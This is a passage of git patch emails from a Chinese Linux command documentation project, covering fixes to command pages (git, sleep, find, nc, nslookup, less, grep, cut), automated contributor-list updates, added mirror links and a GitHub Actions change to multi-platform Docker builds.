数据来源于 GitHub Contributors，使用action-contributors创建。 From ac01835d7fc2de6f062b8b678ca17d25e90e2911 Mon Sep 17 00:00:00 2001 From: lewis1573 <77063576+lewis1573@users.noreply.github.com> Date: Mon, 14 Nov 2022 15:29:59 +0800 Subject: [PATCH 0588/1019] doc: Update git.md (#447) --- command/git.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/git.md b/command/git.md index 044daacdadf..d12a54a8166 100644 --- a/command/git.md +++ b/command/git.md @@ -964,7 +964,8 @@ git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信 ```shell git config format.pretty oneline #显示历史记录时，每个提交的信息只显示一行 git config color.ui true #彩色的 git 输出 -git log #查看最近的提交日志 +git log #查看提交日志，从最近的提交开始显示 +git log --reverse #查看提交日志，从最远的提交开始显示 git log --pretty=oneline #单行显示提交日志 git log --graph --pretty=oneline --abbrev-commit git log -num #显示第几条log（倒数） From 909b84f7b53821b80780cc685c068bf70e709ed1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 14 Nov 2022 07:30:48 +0000 Subject: [PATCH 0589/1019] doc: modify README.md. --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 23e785498bc..76a03f161cb 100644 --- a/README.md +++ b/README.md @@ -427,8 +427,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shell - - 吕程风 + + 谈笑风生间 DaYangtuo247 @@ -601,6 +601,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 leo + + lewis1573 + linuxwd From 7d89c2c8c33ce19c48d13d4058272c2aad0c9a7e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 14 Nov 2022 07:30:49 +0000 Subject: [PATCH 0590/1019] doc: modify template/contributors.ejs. --- template/contributors.ejs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index cff857d8ad6..f308157dc2d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -90,8 +90,8 @@ Shell - - 吕程风 + + 谈笑风生间 DaYangtuo247 @@ -264,6 +264,9 @@ leo + + lewis1573 + linuxwd From 3f09e8ee4c016e4d21e5dfb9407d153f1feccce5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Tue, 15 Nov 2022 15:58:13 +0800 Subject: [PATCH 0591/1019] Update README.md #283 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 76a03f161cb..4eb826df9db 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ **推荐使用的镜像 web 版本** [**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/) **其它 web 版本** From 60208b4338113337050adb3c58080ebaa4dbf136 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=83=9F=E8=8D=89=E7=9A=84=E9=A6=99=E5=91=B3?= Date: Tue, 15 Nov 2022 17:44:09 +0800 Subject: [PATCH 0592/1019] Update sleep.md (#448) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 清晰文档实例, 并添加`infinity`参数选项 --- command/sleep.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/command/sleep.md b/command/sleep.md index 6709eeed73e..0310b2353dc 100644 --- a/command/sleep.md +++ b/command/sleep.md @@ -15,9 +15,13 @@ sleep(参数) ### 参数 -时间：指定要暂停时间的长度。 +时间：指定要暂停时间的长度, 包括如下: -时间长度，后面可接 s、m、h 或 d，其中 s 为秒，m 为 分钟，h 为小时，d 为日数。 +* `2s`: 2秒 +* `2m`: 2分钟 +* `2h`: 2小时 +* `2d`: 2天 +* `infinity`: 永久 ### 实例 @@ -36,4 +40,3 @@ for ((i=0;$i<=100;i++)) echo ``` - From 357a54773f835e7bd55c3b023e35f799c83e1ba2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 15 Nov 2022 09:44:53 +0000 Subject: [PATCH 0593/1019] doc: modify README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 4eb826df9db..0ef684671e8 100644 --- a/README.md +++ b/README.md @@ -364,6 +364,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Glett + + 烟草的香味 + 项金 @@ -376,9 +379,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Fubin Zhang - - 烟草的香味 - __FresHmaN From 71a2180f5876ff03e20bc96d70064e8b2c081d1e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 15 Nov 2022 09:44:54 +0000 Subject: [PATCH 0594/1019] doc: modify template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index f308157dc2d..5f8a8721b20 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -27,6 +27,9 @@ Glett + + 烟草的香味 + 项金 @@ -39,9 +42,6 @@ Fubin Zhang - - 烟草的香味 - __FresHmaN From 8deccc2f9244700085046b94e2ee1dd3a0ec3284 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Wed, 16 Nov 2022 15:42:06 +0800 Subject: [PATCH 0595/1019] doc: Update find.md #449 --- command/find.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/command/find.md b/command/find.md index 32c62653af0..d6c5521366b 100644 --- a/command/find.md +++ b/command/find.md @@ -43,7 +43,7 @@ find(选项)(参数) -iregex<范本样式>：此参数的效果和指定“-regexe”参数类似，但忽略字符大小写的差别； -links<连接数目>：查找符合指定的硬连接数目的文件或目录； -lname<范本样式>：指定字符串作为寻找符号连接的范本样式； --ls：假设find指令的回传值为Ture，就将文件或目录名称列出到标准输出； +-ls：假设find指令的回传值为True，就将文件或目录名称列出到标准输出； -maxdepth<目录层级>：设置最大目录层级； -mindepth<目录层级>：设置最小目录层级； -mmin<分钟>：查找在指定时间曾被更改过的文件或目录，单位以分钟计算； @@ -57,9 +57,9 @@ find(选项)(参数) -ok<执行指令>：此参数的效果和指定“-exec”类似，但在执行指令之前会先询问用户，若回答“y”或“Y”，则放弃执行命令； -path<范本样式>：指定字符串作为寻找目录的范本样式； -perm<权限数值>：查找符合指定的权限数值的文件或目录； --print：假设find指令的回传值为Ture，就将文件或目录名称列出到标准输出。格式为每列一个名称，每个名称前皆有“./”字符串； --print0：假设find指令的回传值为Ture，就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行； --printf<输出格式>：假设find指令的回传值为Ture，就将文件或目录名称列出到标准输出。格式可以自行指定； +-print：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式为每列一个名称，每个名称前皆有“./”字符串； +-print0：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行； +-printf<输出格式>：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式可以自行指定； -prune：不寻找字符串作为寻找文件或目录的范本样式; -regex<范本样式>：指定字符串作为寻找文件或目录的范本样式； -size<文件大小>：查找符合指定的文件大小的文件； From b3fb457a30637bbb0248902bfc710ec08b910890 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=98=E5=9F=83?= Date: Wed, 16 Nov 2022 15:42:42 +0800 Subject: [PATCH 0596/1019] Update nc.md (#450) --- command/nc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/nc.md b/command/nc.md index 64a8ee517fd..100ff19fb71 100644 --- a/command/nc.md +++ b/command/nc.md @@ -49,7 +49,7 @@ nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 **扫描UDP端口** ```shell -[root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 +[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 ``` **扫描指定端口** From 9f8c7614c91a0d2eeeb97206f2d21cfdc0c98694 Mon Sep 17 00:00:00 2001 From: Guiying Li Date: Thu, 17 Nov 2022 11:23:23 +0800 Subject: [PATCH 0597/1019] Update nslookup.md (#451) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update nslookup.md 添加了指定域名服务器的说明，以及相关的示例。 * Update README.md 添加了一个部署了linux command的网页。 ADD an address to the newly deployed Linux Command Website, which I maintain. --- README.md | 2 +- command/nslookup.md | 18 ++++++++++++++++-- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 0ef684671e8..36da32a3fd1 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) ## 微信小程序版本 diff --git a/command/nslookup.md b/command/nslookup.md index f8d0445efcb..5eff691a82b 100644 --- a/command/nslookup.md +++ b/command/nslookup.md @@ -7,14 +7,16 @@ nslookup **nslookup命令** 是常用域名查询工具，就是查DNS信息用的命令。 -nslookup4有两种工作模式，即“交互模式”和“非交互模式”。在“交互模式”下，用户可以向域名服务器查询各类主机、域名的信息，或者输出域名中的主机列表。而在“非交互模式”下，用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。 +nslookup有两种工作模式，即“交互模式”和“非交互模式”。在“交互模式”下，用户可以向域名服务器查询各类主机、域名的信息，或者输出域名中的主机列表。 + +在“非交互模式”下，用户可以针对一个主机或域名仅仅获取特定的名称或所需信息，此时也可以指定查询的DNS服务器。 进入交互模式，直接输入nslookup命令，不加任何参数，则直接进入交互模式，此时nslookup会连接到默认的域名服务器（即`/etc/resolv.conf`的第一个dns地址）。或者输入`nslookup -nameserver/ip`。进入非交互模式，就直接输入`nslookup 域名`就可以了。 ### 语法 ```shell -nslookup(选项)(参数) +nslookup(选项)(参数)(DNS服务器) ``` ### 选项 @@ -27,6 +29,9 @@ nslookup(选项)(参数) 域名：指定要查询域名。 +### DNS服务器 +不填的话采用默认域名服务器（即`/etc/resolv.conf`的第一个dns地址）,填写DNS服务器IP的话，nslookup会向该域名服务器查询域名。 + ### 实例 ```shell @@ -38,6 +43,15 @@ Non-authoritative answer: www.jsdig.com canonical name = host.1.jsdig.com. Name: host.1.jsdig.com Address: 100.42.212.8 + +[root@localhost ~]# nslookup www.sustech.edu.cn 8.8.8.8 +Server: 8.8.8.8 +Address: 8.8.8.8#53 + +Non-authoritative answer: +www.sustech.edu.cn canonical name = www.sustech.edu.cn.w.cdngslb.com. +Name: www.sustech.edu.cn.w.cdngslb.com +Address: 113.96.179.222 ``` From 7c375be401330fd35b1d90034c95202e57d722d8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 17 Nov 2022 03:24:14 +0000 Subject: [PATCH 0598/1019] doc: modify README.md. --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 36da32a3fd1..6d0bf27ea87 100644 --- a/README.md +++ b/README.md @@ -442,6 +442,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Frankie + + Guiying Li + Herbert8 @@ -664,6 +667,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 宋小北 + + 尘埃 + Loofra From 44d99b3b3a1aeb13a88d11ca326286e096aaf08d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 17 Nov 2022 03:24:15 +0000 Subject: [PATCH 0599/1019] doc: modify template/contributors.ejs. --- template/contributors.ejs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 5f8a8721b20..3f59728c4a4 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -105,6 +105,9 @@ Frankie + + Guiying Li + Herbert8 @@ -327,6 +330,9 @@ 宋小北 + + 尘埃 + Loofra From 4cbaf2acc6a97d0cf3b17e8c1f89abe8c24bdc63 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 17 Nov 2022 11:28:00 +0800 Subject: [PATCH 0600/1019] doc: Update README.md #451 --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 6d0bf27ea87..caa40158327 100644 --- a/README.md +++ b/README.md @@ -38,11 +38,11 @@ **推荐使用的镜像 web 版本** [**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) ## 微信小程序版本 From a36af1f528182eb0377226ba0cfacc3628e8761a Mon Sep 17 00:00:00 2001 From: c2ch <35028011+c2ch@users.noreply.github.com> Date: Fri, 18 Nov 2022 18:09:21 +0800 Subject: [PATCH 0601/1019] Update less.md (#452) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新less命令 --- command/less.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/command/less.md b/command/less.md index 9e8d8064f29..9f6ab459500 100644 --- a/command/less.md +++ b/command/less.md @@ -34,6 +34,23 @@ less(选项)(参数) ```shell sudo less /var/log/shadowsocks.log + +/字符串：向下搜索"字符串"的功能 +?字符串：向上搜索"字符串"的功能 +n：继续向后搜索 +N：向前搜索 +b: 向后翻一页 +d: 向后翻半页 +u: 向前滚动半页 +y: 向前滚动一行 +Q: 退出less 命令 +空格键: 滚动一页 +回车键: 滚动一行 +[pagedown]： 向下翻动一页 +[pageup]： 向上翻动一页 +G: 移动到最后一行 +g: 移动到第一行 + ``` From 7d146ccfee368ccc0a356b873c731a9560df933e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 18 Nov 2022 10:09:53 +0000 Subject: [PATCH 0602/1019] doc: modify README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index caa40158327..57c50229f6f 100644 --- a/README.md +++ b/README.md @@ -553,6 +553,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 brinkqiang + + c2ch + chen From 0743dda848968c295f4e9247018292fc589c102e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 18 Nov 2022 10:09:54 +0000 Subject: [PATCH 0603/1019] doc: modify template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3f59728c4a4..e869c0a4520 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -216,6 +216,9 @@ brinkqiang + + c2ch + chen From 9d35988752cc5d68a55581b17ffb0dd077249a2d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 22 Nov 2022 23:31:17 +0800 Subject: [PATCH 0604/1019] doc: update workflows config. #454 --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 231f770eaa9..2c25bad32a0 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -152,7 +152,7 @@ jobs: run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - name: Build docker image - run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + run: docker buildx create --platform linux/arm64,linux/arm/v8 -t ghcr.io/jaywcjlove/linux-command:latest . - name: Publish to GitHub registry run: docker push ghcr.io/jaywcjlove/linux-command:latest From 493a691beb21dd338d8ff04bdfc081c6183238c4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 22 Nov 2022 23:37:09 +0800 Subject: [PATCH 0605/1019] doc: update workflows config. #454 --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2c25bad32a0..25298f6ead2 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -152,7 +152,7 @@ jobs: run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - name: Build docker image - run: docker buildx create --platform linux/arm64,linux/arm/v8 -t ghcr.io/jaywcjlove/linux-command:latest . + run: docker buildx build --platform linux/amd64,linux/arm64 -t ghcr.io/jaywcjlove/linux-command:latest . - name: Publish to GitHub registry run: docker push ghcr.io/jaywcjlove/linux-command:latest From 9a6c090df6c87d6c623ffbf7ef368f4273f276c6 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 22 Nov 2022 23:40:39 +0800 Subject: [PATCH 0606/1019] doc: update workflows config. #454 --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 25298f6ead2..c81ab466514 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -152,7 +152,7 @@ jobs: run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - name: Build docker image - run: docker buildx build --platform linux/amd64,linux/arm64 -t ghcr.io/jaywcjlove/linux-command:latest . + run: docker build --platform linux/amd64,linux/arm64 -t ghcr.io/jaywcjlove/linux-command:latest . - name: Publish to GitHub registry run: docker push ghcr.io/jaywcjlove/linux-command:latest From 73c14bb5119b689073b02ea78eda759365bef8fb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 22 Nov 2022 23:44:02 +0800 Subject: [PATCH 0607/1019] doc: update workflows config. #454 --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c81ab466514..231f770eaa9 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -152,7 +152,7 @@ jobs: run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - name: Build docker image - run: docker build --platform linux/amd64,linux/arm64 -t ghcr.io/jaywcjlove/linux-command:latest . + run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . - name: Publish to GitHub registry run: docker push ghcr.io/jaywcjlove/linux-command:latest From adc9c47463e45cd5151d5805b377b35f81166a09 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 23 Nov 2022 01:27:31 +0800 Subject: [PATCH 0608/1019] doc: update workflows config. #454 --- .github/workflows/ci.yml | 107 +++++++++++++++++++++++++++++---------- 1 file changed, 79 insertions(+), 28 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 231f770eaa9..8d362975c73 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -127,39 +127,90 @@ jobs: npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json # Create Docker Image - - name: Docker login - run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} - - - name: Build linux-command image - run: | - rm -rf .deploy/linux-command.docset.tgz - docker image build -t linux-command . + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v2 + - name: Login to Docker Hub + uses: docker/login-action@v2 + with: + username: ${{ secrets.DOCKER_USER }} + password: ${{ secrets.DOCKER_PASSWORD }} - - name: Tags & Push image(latest) - run: | - docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest - docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + - name: Build and push image:latest + uses: docker/build-push-action@v3 + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ${{ secrets.DOCKER_USER }}/linux-command:latest - - name: Tags & Push image + - name: Build and push image:tags + uses: docker/build-push-action@v3 if: steps.create_tag.outputs.successful - run: | - echo "outputs.tag - ${{ steps.changelog.outputs.version }}" - docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} - docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} # Create Docker Image in Github - - name: Login to GitHub registry - run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - - - name: Build docker image - run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + - name: Login to the GitHub Container Registry + uses: docker/login-action@v2 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} - - name: Publish to GitHub registry - run: docker push ghcr.io/jaywcjlove/linux-command:latest + - name: Build and push image:latest + uses: docker/build-push-action@v3 + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ghcr.io/jaywcjlove/linux-command:latest - - name: Tag docker image (beta) and publish to GitHub registry + - name: Build and push image:tags + uses: docker/build-push-action@v3 if: steps.create_tag.outputs.successful - run: | - echo "version: v${{ steps.changelog.outputs.version }}" - docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} - docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image + # - name: Docker login + # run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} + + # - name: Build linux-command image + # run: | + # rm -rf .deploy/linux-command.docset.tgz + # docker image build -t linux-command . + + # - name: Tags & Push image(latest) + # run: | + # docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest + # docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + + # - name: Tags & Push image + # if: steps.create_tag.outputs.successful + # run: | + # echo "outputs.tag - ${{ steps.changelog.outputs.version }}" + # docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + # docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image in Github + # - name: Login to GitHub registry + # run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin + + # - name: Build docker image + # run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + + # - name: Publish to GitHub registry + # run: docker push ghcr.io/jaywcjlove/linux-command:latest + + # - name: Tag docker image (beta) and publish to GitHub registry + # if: steps.create_tag.outputs.successful + # run: | + # echo "version: v${{ steps.changelog.outputs.version }}" + # docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + # docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} \ No newline at end of file From 41bb1087d955c7421e72385dc1d78b0164d0acaa Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Wed, 23 Nov 2022 01:32:52 +0800 Subject: [PATCH 0609/1019] released v1.13.1 #454 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 5c7c4b4d0b1..fe25adb0d02 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.13.0", + "version": "1.13.1", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From db498ec40123edd7f4b0901fd05b52b051bf74b3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 27 Nov 2022 17:29:43 +0800 Subject: [PATCH 0610/1019] doc: update grep.md fix #455 --- command/grep.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/grep.md b/command/grep.md index 2fd54ef2c8b..e52082e6ce1 100644 --- a/command/grep.md +++ b/command/grep.md @@ -50,7 +50,7 @@ $ # 锚定行的结束 如：'grep$' 匹配所有以grep结尾的行。 * # 匹配零个或多个先前字符 如：'*grep'匹配所有一个或多个空格后紧跟grep的行。 .* # 一起用代表任意字符。 [] # 匹配一个指定范围内的字符，如'[Gg]rep'匹配Grep和grep。 -[^] # 匹配一个不在指定范围内的字符，如：'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一个字母开头，紧跟rep的行。 +[^] # 匹配一个不在指定范围内的字符，如：'[^A-Z]rep' 匹配不包含 A-Z 中的字母开头，紧跟 rep 的行 \(..\) # 标记匹配字符，如'\(love\)'，love被标记为1。 \< # 锚定单词的开始，如:'\ # 锚定单词的结束，如'grep\>'匹配包含以grep结尾的单词的行。 From 323db5aced66c1072f9e178ac6bf2f0fab1d38e4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 29 Nov 2022 19:51:52 +0800 Subject: [PATCH 0611/1019] fix: fix typo. fix #457 --- command/git.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/git.md b/command/git.md index d12a54a8166..69d52a5db3e 100644 --- a/command/git.md +++ b/command/git.md @@ -90,7 +90,7 @@ remote push ```shell -git push -u origin master # push同事设置默认跟踪分支 +git push -u origin master # push 同时设置默认跟踪分支 git push origin master git push -f origin master # 强制推送文件，缩写 -f（全写--force） ``` From 8980bfcc3576e7c55bc7525d111611a2ed82344f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=83=9F=E8=8D=89=E7=9A=84=E9=A6=99=E5=91=B3?= Date: Sat, 3 Dec 2022 17:03:33 +0800 Subject: [PATCH 0612/1019] Update cut.md (#458) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 截取最后N 个字符 --- command/cut.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/command/cut.md b/command/cut.md index 40674dea51c..4112fb824e6 100644 --- a/command/cut.md +++ b/command/cut.md @@ -157,4 +157,17 @@ efghijklmnopqrstuvwxyz efghijklmnopqrstuvwxyz ``` +打印最后5个字符: + 